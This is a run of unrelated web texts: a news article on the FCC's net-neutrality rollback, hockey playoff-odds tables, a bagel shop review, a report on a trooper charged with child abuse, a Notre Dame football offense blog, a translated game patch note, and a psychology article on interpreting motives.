Democratic commissioner Mignon Clyburn, Pai, and Republican commissioner Michael O'Rielly. FCC Most notably, the FCC used that Title II authority to preemptively ban ISPs from blocking, slowing the speeds of, or prioritizing certain traffic on their network for financial gain. AT&T, for instance, cannot slow down Google's YouTube TV service so that it's less appealing than its own DirecTV Now service. Nor can it let Google pay a fee for faster speeds, something a startup would be less capable of doing.
Pai's proposal aims to strip that Title II classification for ISPs and reverse them back to being Title I "information service providers." That is what they were considered before the current rules. Pai says the expanded FCC authority — including a "general conduct" rule that lets the FCC strike down future abuses that aren't explicitly covered by the official rules — has depressed ISPs' willingness to invest in their networks.
Pai's proposal expresses support for the "no blocking" rule but seeks comment on whether any of the core net-neutrality rules are necessary. Republicans and various ISPs feel it's best to punish any abuses after the fact, instead of preemptively eliminating the possibility of misconduct with what they see as heavy-handed regulation.
Proponents of net neutrality protesting against Pai outside the American Enterprise Institute before his arrival May 5 in Washington, DC. Chip Somodevilla/Getty Images Proponents of the current rules — namely Democrats, consumer-advocacy groups, and internet-based companies both big and small— say Title II authority is necessary to actually enforce net neutrality, and they argue that network investment has not been harmed by the Obama-era rules. Weakening those rules would open the door for ISPs to play favorites, and thus stifle competition, they say.
Clyburn, for one, decried Pai's proposal as a "hollow theory of trickle-down economics" at the FCC's public meeting on Thursday.
Major ISPs like Comcast, Verizon, and AT&T have said they will not block or throttle content should the rules be reversed. The FCC twice tried to impose net-neutrality rules using Title I authority before the current rules were enacted in 2015, and it was defeated in court by ISP lawsuits on both occasions.
Pai has said he would welcome congressional action that would turn net-neutrality principles into law, though it's not clear what such a bill would look like with the ongoing gridlock in Washington.
Eric Gaillard/Reuters In any case, the debate is a heated one. Various Democrats in Congress have pledged to protest Pai's intentions, and some consumer-advocacy groups have already disrupted FCC meetings in support of the Obama-era rules.
More than 2.1 million public comments have already been filed since Pai issued his notice of proposed rulemaking — many spurred by comedian John Oliver's call to preserve the rules — though hundreds of thousands of those comments appear to have been generated by bots, bringing their authenticity into question.
Expect things to intensify on both the internet and Capitol Hill from here.Tampa Bay Lightning Playoff Chances Did not play, average seed unchanged at 1 100 points 48 11-4 Add your own league How are these numbers calculated? Big Games How we did yesterday and who we should root for today. Explain Tuesday 100.0* Pres Trophy NY Islanders 1 Calgary 3 -0.3 If winner is: Home Home OT Home SO Away SO Away OT Away Wednesday 100.0* Pres Trophy NY Rangers vs Tampa Bay -0.9 -0.2 -0.2 +0.3 +0.3 +0.3 New Jersey vs Calgary +0.5 +0.2 +0.2 -0.3 -0.3 -0.3 What If Chances based on how well the Tampa Bay finish out the regular season. Explain 100 100 100 100 100 100 100 100 100 100 100 100 100 100 If finish: Chance in Pres Division seed Conference seed (wildcard race) TP W L - OT playoffs Trophy 1a 1b 2 3 WCb WCa 9 10 11 12 13 14 15 16 Count 122 -138 In 99.9 % 100 11,852,039 * 121 10 8 - 1 In 97.4 100 0 294,107 9 7 - 3 In 97.3 100 0 160,396 8 6 - 5 In 97.3 100 0 20,350 7 5 - 7 In 97.6 100 931 * 120 9 8 - 2 In 94.9 100 0 186,873 10 9 - 0 In 94.9 100 0 100,851 8 7 - 4 In 95.1 100 0 45,309 7 6 - 6 In 94.5 100 0 3,411 6 5 - 8 In 97.2 100 109 * 119 9 9 - 1 In 90.7 100 0 0 128,483 8 8 - 3 In 90.6 100 0 0 70,036 7 7 - 5 In 90.6 100 0 0 9,072 6 6 - 7 In 89.6 100 0 441 * 118 8 9 - 2 In 85.0 100 0 0 72,749 9 10 - 0 In 85.0 100 0 0 39,875 7 8 - 4 In 84.4 100 0 0 17,617 6 7 - 6 In 85.6 100 0 1,324 5 6 - 8 In 81.6 100 38 * 117 8 10 - 1 In 76.5 99 0 1 0 44,749 7 9 - 3 In 76.4 99 0 1 24,174 6 8 - 5 In 75.0 99 0 1 2,964 5 7 - 7 In 70.4 99 1 135 * 116 7 10 - 2 In 66.9 98 0 2 0 22,447 8 11 - 0 In 67.6 98 0 2 0 12,725 6 9 - 4 In 66.5 97 0 3 5,228 * 5 8 - 6 In 65.1 97 0 2 0 358 115 7 11 - 1 In 55.0 96 0 4 0 12,794 6 10 - 3 In 54.5 95 0 4 0 6,441 5 9 - 5 In 54.2 91 1 8 0 782 * 114 6 11 - 2 In 42.2 90 1 8 0 5,368 7 12 - 0 In 43.5 92 0 7 0 3,306 5 10 - 4 In 41.9 89 1 9 0 1,190 4 9 - 6 In 29.7 85 1 14 91 * 113 6 12 - 1 In 29.6 83 1 15 1 2,902 5 11 - 3 In 29.0 84 2 14 0 1,353 4 10 - 5 In 22.0 79 4 16 1 164 * 112 5 12 - 2 In 17.8 72 3 23 2 1,048 6 13 - 0 In 19.8 75 2 20 2 731 4 11 - 4 In 15.9 68 4 27 1 226 * 111 5 13 - 1 In 8.0 59 4 34 3 474 4 12 - 3 In 10.8 60 5 31 4 223 * 110 4 13 - 2 In 8.2 41 7 39 13 147 5 14 - 0 In 6.7 53 4 35 8 135 * 109 4 14 - 1 In 2.3 27 7 43 23 86 * 108 3 14 - 2 In No 25 18 39 18 28 * 107 3 15 - 1 In No 56 44 9 * 106 2 15 - 2 In No 80 20 5 * 100 0 19 - 0 In No 2 82 15 1 1,054 Total: In 99.0 % 100 0 0 0 0 0 13,155,348 * Row combines multiple less frequent records. First Round Opponent What If First round opponent based on how well the Tampa Bay finish out the regular season. Explain If finish: Chance will play in first round TP W L - OT Win Cup Toronto Boston NY Islanders Washington Pittsburgh Columbus Carolina Montreal Florida Buffalo Philadelphia NY Rangers New Jersey Detroit 138 19 0 - 0 31.2 % 1 1 1 17 15 16 20 23 3 2 2 0 137 18 0 - 1 31.6 1 1 1 15 15 18 21 22 3 2 2 0 136 18 1 - 0 31.4 0 1 1 15 15 18 21 22 3 2 2 0 0 135 17 1 - 1 31.3 0 1 1 15 16 18 20 22 3 2 2 0 0 134 17 2 - 0 31.4 0 1 1 14 16 18 20 22 3 2 2 0 0 133 16 2 - 1 31.4 0 1 1 14 16 19 20 22 3 2 2 0 0 0 132 15 2 - 2 31.6 0 1 1 14 16 19 20 22 3 2 2 0 0 16 3 - 0 31.5 0 1 1 14 16 19 20 22 3 2 2 0 0 131 15 3 - 1 31.4 0 1 1 14 16 19 21 22 3 2 2 0 0 14 2 - 3 31.3 0 1 1 13 17 19 21 22 2 2 2 0 0 130 14 3 - 2 31.3 0 1 1 13 17 19 21 22 2 2 2 0 0 0 15 4 - 0 31.3 0 1 1 13 17 19 20 22 3 2 2 0 0 0 129 14 4 - 1 31.3 0 1 1 13 17 19 20 22 2 2 2 0 0 0 13 3 - 3 31.4 0 0 1 12 17 20 21 22 2 2 1 0 0 128 13 4 - 2 31.3 0 0 1 12 17 19 20 22 2 2 1 0 0 0 14 5 - 0 31.5 0 1 1 13 17 19 21 22 2 2 2 0 0 0 12 3 - 4 31.6 0 0 1 12 18 20 20 23 2 2 1 0 0 127 13 5 - 1 31.5 0 0 1 12 17 19 21 23 2 2 1 0 0 0 12 4 - 3 31.4 0 0 1 12 17 20 21 23 2 2 1 0 0 126 12 5 - 2 31.4 0 0 1 12 17 20 21 23 2 2 1 0 0 0 13 6 - 0 31.4 0 0 1 12 17 19 21 22 2 2 2 0 0 0 11 4 - 4 31.4 0 0 1 11 18 20 21 23 2 2 1 0 0 0 125 12 6 - 1 31.4 0 0 1 12 17 20 20 23 2 2 1 0 0 0 11 5 - 3 31.4 0 0 1 11 18 20 21 23 2 2 1 0 0 0 124 11 6 - 2 31.4 0 0 1 11 18 20 21 23 2 2 1 0 0 0 12 7 - 0 31.5 0 0 1 12 18 20 21 23 2 2 1 0 0 0 10 5 - 4 31.4 0 0 2 10 18 20 21 23 2 2 1 0 0 0 123 11 7 - 1 31.4 0 0 1 11 18 20 21 23 2 2 1 0 0 0 10 6 - 3 31.3 0 0 2 10 18 20 21 23 2 2 1 0 0 0 122 10 7 - 2 31.4 0 0 2 10 18 20 21 23 2 2 1 0 0 0 11 8 - 0 31.3 0 0 2 11 18 20 21 23 2 2 1 0 0 0 121 10 8 - 1 31.3 0 0 2 11 18 20 21 23 2 2 1 0 0 0 9 7 - 3 31.3 0 0 2 10 18 21 21 23 2 2 1 0 0 0 120 9 8 - 2 31.4 0 0 2 10 18 21 21 23 2 2 1 0 0 0 10 9 - 0 |
part-baked, I know…), the fillings were generous….the whole thing was a world away from the bland and mass produced offerings that most filled bagels consist of.
In the near future, Bagel Boy are planning on offering monthly specials and breakfast bagels – and they already offer free delivery within the Park Street area. All you need to do is to text or call them before 11.30am to guarantee delivery for lunchtime – and they offer discounts of 10% and upwards depending on the number ordered, making it a great option for office lunches.
If you’re in the area, Bagel Boy is definitely a worthwhile option for a filling and reasonably priced lunch. Recommended.
Find Bagel Boy on the Bristol Bites Directory…
[mappress mapid=”123″]A state trooper is on unpaid suspension after being accused of dragging his 5-year-old daughter around by her hair.
Cpl. Adam Reed, a state police spokesman, confirmed Friday that Trooper Steven M. Blain, 49, was taken off duty after Lower Paxton Township police filed charges of aggravated assault on a child and child endangerment against him this week.
Blain came under investigation when his wife, Angela, called police, Cpl. Todd D. Witmer said in arrest papers filed with District Judge Joseph Lindsey. Blain's wife said he had become verbally and physically abusive to her and their child, Witmer said.
"Angela stated that he would often yell and scream at (the girl) when he would become frustrated with her," Witmer wrote. "She stated he would pull her hair to gain her attention and compliance. She stated that he cited it was the only way he could get her to listen to him."
Witmer said Angela Blain reported seeing her husband dragging the girl up some stairs by her hair earlier this year. Later, she saw rug burns on the child's back, the officer said.
He said Angela Blain also gave him photos she took in April 2015 that she said showed a large bruise on the child's right thigh and abrasions on her back. She said the girl told her "that her father had been'mean' to her and had thrown her into her bedroom, resulting in her landing into her bed," Witmer reported. "Angela noted the frame of the bed is metal."
Defense attorney Brian Perry declined comment when contacted about the case Thursday. Steven Blain is free on $25,000 unsecured bail pending a preliminary hearing.“So those will be some new things, but at the end of the day, we’re not going to change the entire offense and teach a new system to this group.” – Brian Kelly in December.
However, last Saturday had little resemblance to Kelly’s offense of last year. Regardless of what Brian Kelly and Chip Long choose to portray to the media, the product on the field is a completely different offensive system. The running plays are largely different, the screen game is different, the playcalling is different, the personnel is different, the terminology is different. Perhaps some passing concepts were not transient, but little else were in the Chip Long offense.
Chip’s Talk
I have had the opportunity to watch the Notre Dame Clinic talk that Chip Long gave, and he described facets of his offense in great detail (shoutout to the excellent blog http://highspeedspreadfootball.blogspot.com and its writer https://twitter.com/dacoachmohuddle who I believe is going to blog about it in bit). Unfortunately, due to time constraints, I will not be able to delve deeply into the film too much before the end of next week, however this post will serve as an introduction and maybe some brief macro points.
Choosing Chip
In the linked article from 247, Brian Kelly talked about the process in which Chip Long was chosen to be the offensive coordinator of Notre Dame. It is generally considered that Kelly made the coaching search after the season, but I believe he had his eyes on Chip Long significantly earlier in the season.
In my first ever blog post I broke down a triple threat RPO that Notre Dame ran vs Michigan State. This play was unusual in the context of the game, but is especially odd considering the season as a whole: Notre Dame did not run that play again, or anything similar to it, the entire season. That play was almost verbatim ripped from the ASU/Memphis Chip Long offense, so much so, that Chip Long mixed it in with his own cutups, and even pointed out specific coaching points, while breaking down his clinic talk.
It is my theory that Kelly knew that he wanted Chip Long on his staff at that moment, and this was his first “interview question.”
If I had to describe what Chip Long has shown so far at Notre Dame, it would be a blend of old as dirt (some almost unheard of today) concepts into a new-style wrap with a pro-style playcalling approach. He claimed that out of 100 plays he wants to run in 85-66 of them. It is my opinion from hearing his Clinic talk, that a “run” includes the “pass” of a RPO, so don’t overreact just due to the box score about “balance.”
So with all this said, lets hit some quick points that I will expand on later posts.
Changing Gap Play
Long replaced many of the gap runs (Power, Power Read, Counter, Counter Trey) with Pin & Pull and “G-Scheme”. G-Scheme is an uncommon old school running play, so much so that if you try googling “G-scheme football” the first result that contains the phrase is from the classic book “Offensive Football Strategies” which was from 1999! Cutups of Pin & Pull and G-Scheme are here.
One interesting point about this, is at this moment, no “counter” run play has been shown. At Memphis Long utilized a very odd tackle-long-trap-counter, but that play was not mentioned in his Clinic talk or shown on the field Saturday.
The simple inside zone play has an interesting coaching point for the running back. Chip wants the running back to always hit backside A to backside B, and if the running back hits the front side A it better be 4 yards or better, he will be “pulled out of the game”. The traditional aiming point for inside zone (before looking for a cutback) is the outside hip of the playside guard, also known as the frontside A gap.
Screen Game
Long changed the jailbreak screen from having a tunnel to being a normal screen by the wide receiver. He also greatly emphasized the short passing game, which was almost unheard of last year with the possible exception of the Virginia Tech game where Kelly ran Snag out of virtually every look possible. Cutups of both of these.
Playaction
Long has greatly changed the style and frequency of playaction. From my condensed video, roughly 30% of the entire time was playaction. Last year playaction was so insignificant, that I actually forgot to mention it in my playcalling review. Standard playactions cutups can be found here.
The other type of playaction shown is called the “naked” bootleg playaction. It is called naked because the quarterback does not have any lead blockers when he rolls out of the pocket, often times the defensive end/end man on the line of scrimmage is left unblocked. Long went over several (3!) of his concepts in detail in his Clinic talk, and I expect it to be a mainstay of the Notre Dame offense as long (pun intended) as he is here.
One point of emphasis that I did not see that he went over in detail is that the Tight end is supposed to chip and “be physical” with the DE a little bit before releasing to his flat route. It was only a spring game, so it would not surprise me if they wanted to play a little bit less physically. Naked cutups (safe for work!) can be found here.
Tight End Motion
The motion he employed a lot with the Tight Ends has an interesting coaching point. He will call a concept, for example (I’m making up a concept) “Colt.” That play can either be a 2×2 set or a 3×1 set concept. He can then call “Colt BK” pronounced Colt Back, which will automatically tell the Tight End to start from the wrong side then motion before the snap. This helps simplify the verbiage in order to play fast.
Lining Up
Also, the way passing concepts are taught is similar to this video by current Penn State offensive coordinator Joe Moorhead. Essentially all players can tell how they need to line up by simply a one word call concept, regardless if they are split out, on the line, etc.
Pulling Guards
In a fantastic blogpost by Chris Brown (a Purdue grad by the way), he talked about how Robert Griffin III, Andrew Luck, himself, and Bill Walsh all are proponents of pulling a guard in playaction. Notre Dame rarely pulled a guard when they used playaction last season, yet this spring game showed many instances. Personally, its ironic to me that Long is pulling guards to “fake” a power/counter look, when he doesn’t really run… either of those concepts. Regardless, pulling a guard helps give run keys to safeties and linebackers and will greatly improve the believability of the fake.
Verticals
As Long outlined in his Clinic talk, he loves to take shot plays. Many of those plays are off of standard playaction, but others are off of one of his favorite tried and true concepts: verticals. It is a concept made famous by Mike Leach and is pretty much everywhere today. Notre Dame ran this concept more in the Blue and Gold game than any time I can recently remember, with the possible exception of the Michigan State game, where Notre Dame was down by a lot. Cutups are here.
Run-Pass Option
Finally, we had RPOs galore. Not many triple option RPOs were run, and several RPOs that Long talked about in his clinic talk were absent, but we saw a lot of fun ones. If you were wondering, generally the routes on the RPOs, with some exceptions, are based on game-planning what coverage they expect to face by that given opponent in a given game situation. Cutups.
GoArmy Edge
In the upcoming posts, I will also try to mix in some new awesome technology. Shoutout to http://www.goarmyedge.com/football and https://twitter.com/GoArmyEdge even though I’m more of a Navy guy myself.
The following play can be found live here. This is a 2-D and 3-D visualization of that play using the fantastic app. This is an inside zone with a slant on the frontside and double hitches on the backside. The offensive formation is what I would call Pistol Normal. The defensive formation appears to be a 4-2-5 even front with quarter-quarter-half coverage.
The quarterback pre-snap checks the backside to see if there are any “gimme yards.” During the mesh he reads the “adjuster” which in this case was the safety. The safety rotates inward partly due to the run action and middle of the field responsibilities, and the quarterback throws the slant. On the play, Notre Dame had a triple team at the line of scrimmage, but ended up throwing the ball. That is either the beauty of this offense or the beast of it, depending on your point of view.
Eric wrote in his review: “I’m not sure we’re going to see something that for the average fan looks all that different from past Kelly offenses.” Even though Kelly and Long want you to believe that the entire offense was not changed and a new system was not taught, this is exactly what happened this spring: Kelly is about to show the world the Notre Dame Long Offense.
Link to full condensed game is here.
If you have any questions, comments, feel free to ask and I’ll research and try my best. If you have any preference about what I break down first leave that with a comment.
As always, feel free to follow 18stripes, and me at twitter.com/downinthebend.18/02/2016 - KTOS P.3 sunhwapark Feb 17th, 2016 ( edited ) 11,222 Never 11,222Never
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rawdownloadcloneembedreportprint text 5.15 KB 18/02/2016 - KTOS Part.3 ※ This patch has been broken down into 3 separate posts. Please read them all! Part 1: http://pastebin.com/3sEDmN7A Part 2: http://pastebin.com/qz3jtM9D Part 3: (Current) Skill changes will be listed below! // Translator's Note: [ If anyone has hard number changes ( for skills and etc) please PM(Gwenyth) Me or @Gwenyth me in a forum post so i can add them! ] 1.Characters that use skills causing negative states will reduce the enemies resistance to that skill after more uses. - This only applies for 'Player v monster' interaction. - 'Player v Player' interaction will remain the same. 2. Swordsmen Class [Cataphract] - Rush : Attacking duration of the skill has been reduced. : AOE attack ratio of this skill will now also become affected by the characters items. : Skill Damage increased. - Earth Wave : Changed to always deal 5 consecutive hits. : Skill damage scaling will change. : The stiff part of the animation for the skill has been removed. - Doom Spike : Changed to always deal 5 consecutive hits. : Changes to damage scaling. : The stiff part of the animation for the skill has been removed. ( the pose that is held after casting i think) [DoppelSoeldner] - Cyclone: Fixed a problem where this skill had an abnormally high AOE attack ratio. [Dragoon] - Dragon Tooth : Skill Damage Increased. : Number of hits increased. : This skill will now charge 50% faster than before. : Cooldown reduced. - Serpentine : Skill Damage Increased. : Skill attack range increased. : The skills number of hits increased. : Cooldown Reduced. - Dragon Soar : Skill Damage Increased. : The skills number of hits increased. : Cooldown Reduced. 2. Wizard Classes [Elementalist] - Prominence: The radius that prominence travels has been reduced to a smaller area than before. [Chronomancer] - BackMasking: When cast within the time range during battle, This skills effects can apply to allies that have been recently disabled/ cc'd. [Warlock] - Dark Surge: The Darkness attribute was unintentionally affecting bosses. [Featherfoot] - Blood Bath: Corrected a problem where the skill effects caused bosses to stop performing actions. 3. Archer Classes [Sapper] - Collar Bomb : Resistance rate of Collar Bomb has been reduced. : Cooldown Reduced. - Broom Trap: Cooldown Reduced. - Detonate Trap: Cooldown Reduced. [Wugushi] - Poison Pot:You can now un-equip an equipped card in the poison pot with right-clic. [Rogue] - Sneak Hit: Fixed problem where the critical chance was applying even if you were facing the target from the front. [Fletcher] - BroadHead: : Bleeding damage will take into account the bonus damage attribute of this skill. : The timer for Bleeding effects being applied will be faster than normal. : Default duration of Bleeding [5s + SkillLevel * 1s] From [5s + Skill LVL *0.5s ] : Cooldown changed to 10 seconds. : Skill Tool-tip will be changed. - Singijeon: Fixed an issue where explosion damage was being abnormally applied. [Falconer] - Hanging Shot; If you swap weapon whilst you are under the hanging shot effect, the skill effect will immediately cancel. : When swapping to a Musket weapon, Hanging shot will immediately cancel. - During Hanging shot will not allow your weapon to swap to a musket weapon. : For 2-Handed bows with Hanging Shot, Changing to 1-Handed Bow is still possible. 4. Cleric Classes [General] - The maximum amount of consecutive buff effects that clerics can have has been increased to 7. ( From 5) [Bokor] - Hexing : Changed to a Rank 2 Debuff. : Resistance rate for Hexing been reduced. - Effigy : SP Consumption Reduced. : Skill After-cast Delay reduced. - Zombify: Fixed problem where Zombies would attempt attacks on friendly targets. - Ogouveve: Damage Increase & Range Attributes added. [Dievdirby] - Carve : Base Damage added. : Cooldown Reduction. : Number of consecutive hits increased. - Carve Owl : The firing rate of the Owl will increase. : Skill damage increased. [Paladin] - Smite : Skill Damage Increased. : AOE Attack Ratio Increased. - Conviction : Skill damage Increased. : AOE attack ratio increased. - When an enemy is suffering from [Conviction] Smite deals 3 consecutive hits. - Turn Undead : Fixed an issue where Turn Undead was dealing Strike property attacks. : Fixed issue where enemies were being killed in a wide area. : Cooldown Reduced. : Skill range increased : The skill now applies to [3 + SkillLVL * 1]Targets, From [Skill LVL * 1]Targets [Oracle] - Clairvoyance: If there is no target available the skill will cancel. [Plague Doctor] - Bloodletting: Fixed a problem where under certain circumstances HP recovery was possible. Thanks for reading! Source Post: http://tos.nexon.com/community/tosnotice/view.aspx?n4ArticleSN=245 Translation by Gwenyth @TOS Forums.
RAW Paste Data
18/02/2016 - KTOS Part.3 ※ This patch has been broken down into 3 separate posts. Please read them all! Part 1: http://pastebin.com/3sEDmN7A Part 2: http://pastebin.com/qz3jtM9D Part 3: (Current) Skill changes will be listed below! // Translator's Note: [ If anyone has hard number changes ( for skills and etc) please PM(Gwenyth) Me or @Gwenyth me in a forum post so i can add them! ] 1.Characters that use skills causing negative states will reduce the enemies resistance to that skill after more uses. - This only applies for 'Player v monster' interaction. - 'Player v Player' interaction will remain the same. 2. Swordsmen Class [Cataphract] - Rush : Attacking duration of the skill has been reduced. : AOE attack ratio of this skill will now also become affected by the characters items. : Skill Damage increased. - Earth Wave : Changed to always deal 5 consecutive hits. : Skill damage scaling will change. : The stiff part of the animation for the skill has been removed. - Doom Spike : Changed to always deal 5 consecutive hits. : Changes to damage scaling. : The stiff part of the animation for the skill has been removed. ( the pose that is held after casting i think) [DoppelSoeldner] - Cyclone: Fixed a problem where this skill had an abnormally high AOE attack ratio. [Dragoon] - Dragon Tooth : Skill Damage Increased. : Number of hits increased. : This skill will now charge 50% faster than before. : Cooldown reduced. - Serpentine : Skill Damage Increased. : Skill attack range increased. : The skills number of hits increased. : Cooldown Reduced. - Dragon Soar : Skill Damage Increased. : The skills number of hits increased. : Cooldown Reduced. 2. Wizard Classes [Elementalist] - Prominence: The radius that prominence travels has been reduced to a smaller area than before. [Chronomancer] - BackMasking: When cast within the time range during battle, This skills effects can apply to allies that have been recently disabled/ cc'd. [Warlock] - Dark Surge: The Darkness attribute was unintentionally affecting bosses. [Featherfoot] - Blood Bath: Corrected a problem where the skill effects caused bosses to stop performing actions. 3. Archer Classes [Sapper] - Collar Bomb : Resistance rate of Collar Bomb has been reduced. : Cooldown Reduced. - Broom Trap: Cooldown Reduced. - Detonate Trap: Cooldown Reduced. [Wugushi] - Poison Pot:You can now un-equip an equipped card in the poison pot with right-clic. [Rogue] - Sneak Hit: Fixed problem where the critical chance was applying even if you were facing the target from the front. [Fletcher] - BroadHead: : Bleeding damage will take into account the bonus damage attribute of this skill. : The timer for Bleeding effects being applied will be faster than normal. : Default duration of Bleeding [5s + SkillLevel * 1s] From [5s + Skill LVL *0.5s ] : Cooldown changed to 10 seconds. : Skill Tool-tip will be changed. - Singijeon: Fixed an issue where explosion damage was being abnormally applied. [Falconer] - Hanging Shot; If you swap weapon whilst you are under the hanging shot effect, the skill effect will immediately cancel. : When swapping to a Musket weapon, Hanging shot will immediately cancel. - During Hanging shot will not allow your weapon to swap to a musket weapon. : For 2-Handed bows with Hanging Shot, Changing to 1-Handed Bow is still possible. 4. Cleric Classes [General] - The maximum amount of consecutive buff effects that clerics can have has been increased to 7. ( From 5) [Bokor] - Hexing : Changed to a Rank 2 Debuff. : Resistance rate for Hexing been reduced. - Effigy : SP Consumption Reduced. : Skill After-cast Delay reduced. - Zombify: Fixed problem where Zombies would attempt attacks on friendly targets. - Ogouveve: Damage Increase & Range Attributes added. [Dievdirby] - Carve : Base Damage added. : Cooldown Reduction. : Number of consecutive hits increased. - Carve Owl : The firing rate of the Owl will increase. : Skill damage increased. [Paladin] - Smite : Skill Damage Increased. : AOE Attack Ratio Increased. - Conviction : Skill damage Increased. : AOE attack ratio increased. - When an enemy is suffering from [Conviction] Smite deals 3 consecutive hits. - Turn Undead : Fixed an issue where Turn Undead was dealing Strike property attacks. : Fixed issue where enemies were being killed in a wide area. : Cooldown Reduced. : Skill range increased : The skill now applies to [3 + SkillLVL * 1]Targets, From [Skill LVL * 1]Targets [Oracle] - Clairvoyance: If there is no target available the skill will cancel. [Plague Doctor] - Bloodletting: Fixed a problem where under certain circumstances HP recovery was possible. Thanks for reading! Source Post: http://tos.nexon.com/community/tosnotice/view.aspx?n4ArticleSN=245 Translation by Gwenyth @TOS Forums.5 pitfalls to understanding people’s motives
An educational psychologist reveals why it can be so tricky to interpret the behavior of others – and ourselves
By Bobby Hoffman, PhD Posted on 14 July 2015
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While watching the evening news a few weeks back, I encountered a fascinating example of why detecting and analyzing the behavior of others is so challenging. The newscasters were debating the motivation of Bernie Madoff, who was sentenced to 150 years in federal prison for perpetrating a multi-billion dollar Ponzi scheme that many believe is the most sinister white-collar crime in the history of mankind. The broadcasters had some intriguing ideas as to why Madoff would sacrifice his career, destroy his family, and risk the savings of thousands of investors for his own selfish gain.
The broadcasters concluded that Madoff’s motive was indisputably avarice and greed – a logical conclusion that is entirely wrong, at least based upon what Madoff told me, and what we know from research.
Madoff was one of 12 people I interviewed in conjunction with writing my new book, which delves into performance motivation and the role of self-beliefs – some of them unconscious – that underlie people’s behavior. In several instances, it became clear that the interviewee’s articulated motivations were not as obvious as one might assume, and in some cases entirely different than their behavior would logically suggest. All but one of these people I interviewed in person. In Madoff’s case, we exchanged hand-written letters and emails, his on ruled 8.5 x 11 pages mailed from the Federal Prison in Butner, North Carolina.
What really motivated him, he said, was the unbearable pressure from his clients, combined with unrealistic perceptions of his own ability to secure huge investment returns even during deplorable economic conditions, such as the market crashes of the mid-80s and the dot-com bubble burst of 2000.
The broadcasters’ behavioral analysis represented a phenomenon that we encounter almost daily: misinterpreting the reasons for behavior — combined with a lack of knowledge about motivational science (and the people we attempt to analyze).
Five reasons behavioral interpretations go wrong
Humans are subject to a number of interpretative biases that cloud rational thinking and the accurate interpretation of motivated behavior. An overriding obstacle is the problem of overexposure. In short, people observe behavior daily and make interpretations of motives based upon a vast network of personal experience and intuitive interpretation. If we observe behavior regularly, we become highly confident in our behavioral interpretations, even when wrong. The problem becomes much worse when evaluating the behavior of others, as demonstrated by the Madoff situation.
Motivational science identifies many reasons why appraisals of our perceptual reality are often incorrect:
1. Most people don’t know or understand their own motives.
The interpretation of motives is distorted for many reasons. Unlike pronounced physical attributes, psychological markers such as beliefs, preferences and dispositions cannot be examined directly. Complicating analysis is the reality that we assess the motives of others based upon the information and behaviors individuals prefer to present to us or based upon how people elect to publically portray themselves. Most people do not have the same “public” persona as they do in private, thus complicating accurate motive interpretation. The enigma of analysis is further exacerbated by the phenomena of social desirability, meaning that some behaviors are more culturally acceptable than others, and individuals will deliberately distort behaviors to meet the personal or societal expectations of others. For example, as Madoff had told me, one of his primary motives was how he performed in the eyes of his clients.
The author’s new book In Motivation for Learning and Performance, published by Elsevier’s Academic Press, Dr. Bobby Hoffman explores why we do the things we do, including strategies to change our own behavior and exert greater influence on those around us. He outlines 50 key motivation principles based on the latest scientific evidence from the disciplines of psychology, education, business, athletics and neurology. For examples, he interviewed highly influential people, including Bernie Madoff, country music star Jessi Colter, Florida Senator Darren Soto, NFL veteran Nick Lowery, and actress Cheryl Hines. Dr. Hoffman, Associate Professor in the School of Teaching, Learning & Leadership at the University of Central Florida in Orlando, draws on his expertise in educational psychology and a 20-year career in human resources management and performance consulting.
In addition, scientific evidence reveals that implicit motivations (those that are not in direct consciousness) are highly prevalent and exceedingly challenging to identify. These implicit motives are driven by habit and lack of conscious attention to what we do and why we do it and in many cases account for much of our daily behavior. 2. Behavior is interpreted through personal perspectives. Let’s face it, most of us believe that our approach to the universe is the warranted, justified and most likely correct approach. Many people can relate to my favorite example of personal bias: driving. We all have colorful names to describe people who drive faster or slower than we do because we are of the belief our chosen speed is the correct speed. Consequently, we often evaluate the behavior of others by comparing the behavior to our self. The comparison often leads to flawed conclusions concerning the meaning of behavior because of lack of comparison to an objective standard. Complicating the interpretation process is the human proclivity to focus on evidence to support our desired interpretations, while ignoring or rationalizing away the significance of disconfirming evidence. This phenomenon clearly applies to the Madoff case, too. Here, the example involves the media. Popular media continues to sensationalize the Madoff case with some sources erroneously contending he swindled $65 billion from his clients, when in reality the number of allowable claims was closer to $15 billion. In fact, in 2012, the US Government Accountability Office reported that 60 percent of Madoff’s clients were net winners, having had more money returned to them than they invested. Further, interpretation through a personal lens discounts the role of culture and the cognitive, emotional and social development of the individual being assessed. Exclusion of cultural factors alone can result in vast misinterpretation due to differences in normative behavior both within and between different genders, ethnicities and age groups. 3. The same behaviors may represent entirely different motives. Observing behavior is insufficient to diagnose motive because similar behaviors may represent different motives, the same motive may prompt different behaviors, and people will react differently to the identical type of environmental trigger. Compounding detection is the reality that people will often have multiple and simultaneous motives, with some goals being subordinate to others, resulting in what appears to be a hierarchy of motives. Primary, or ultimate, goals are often suppressed in favor of subordinate goals, which serve as a means to an end. For example, the person who enrolls in an adult education course under the pretense of advancing knowledge may actually attend class to demonstrate his or her capability, or for social reasons such as to find a suitable partner with similar interests. With Madoff, even if his primary goal were to keep intact his idealistic self-views of his investment ability, as he stated, he was also motivated to commit financial fraud to appear competent in the eyes of his investors. Accurately deciphering observed behavior requires an understanding of the specific reasons why motives and goals are pursued, which cannot be confirmed by observation alone, necessitating consideration of multiple strands of evidence to enhance the probability of accurate motive detection. 4. Motives are often conflated with personality and character. Despite the fact that personality and character are more enduring than situational motives, many times individuals will erroneously conclude that personality traits can reliably determine motivational intent. While personality may be used to predict what a specific type of person will do under particular circumstances, the integrative nature of motivation may derail the predictive ability of personality. At times, other factors will override typical behavior patterns, such as when the typically introverted individual identifies someone at a social gathering with similar interests and spontaneously appears to become the life of the party. The practice of labeling individuals according to motivational type is very risky; contrary to “pop” descriptions of motivation types (e.g., thinkers, followers, challengers), motives are fluid, malleable and variable, fluctuating based on social and environmental factors in addition to dominant personality characteristics. 5. Emotions can disguise or disrupt normative behavior. Emotions are a game changer and can quickly lead to false interpretation of motives. When people are under emotional strain, response patterns change. As the mind succumbs to the perception of elation, pressure, stress, discomfort or distraction, normative physiological and psychological patterns are hijacked by the prevailing emotion. Madoff knew what he was doing was wrong yet apparently succumbed to feelings of guilt based upon the relentless pressure from his wealthy clients. Accurate behavioral interpretations require the realization that all environmental events will be subjectively interpreted, activating a spectrum of emotions across individuals. Positive emotions will motivate individuals toward seeking out a target, while the exact same event can be negatively perceived prompting avoidance behavior. If you are at all skeptical about the power of emotion, consciously focus on the deliberate and intentional manipulation of your own emotions. Turn on the television or listen to the appeal of lawyers, politicians, salespeople or advertisers, whose goal is to elevate your positive emotions, trigger snap judgments, and prompt impulsive buying decisions – deliberate strategies designed to circumvent objective deliberation and 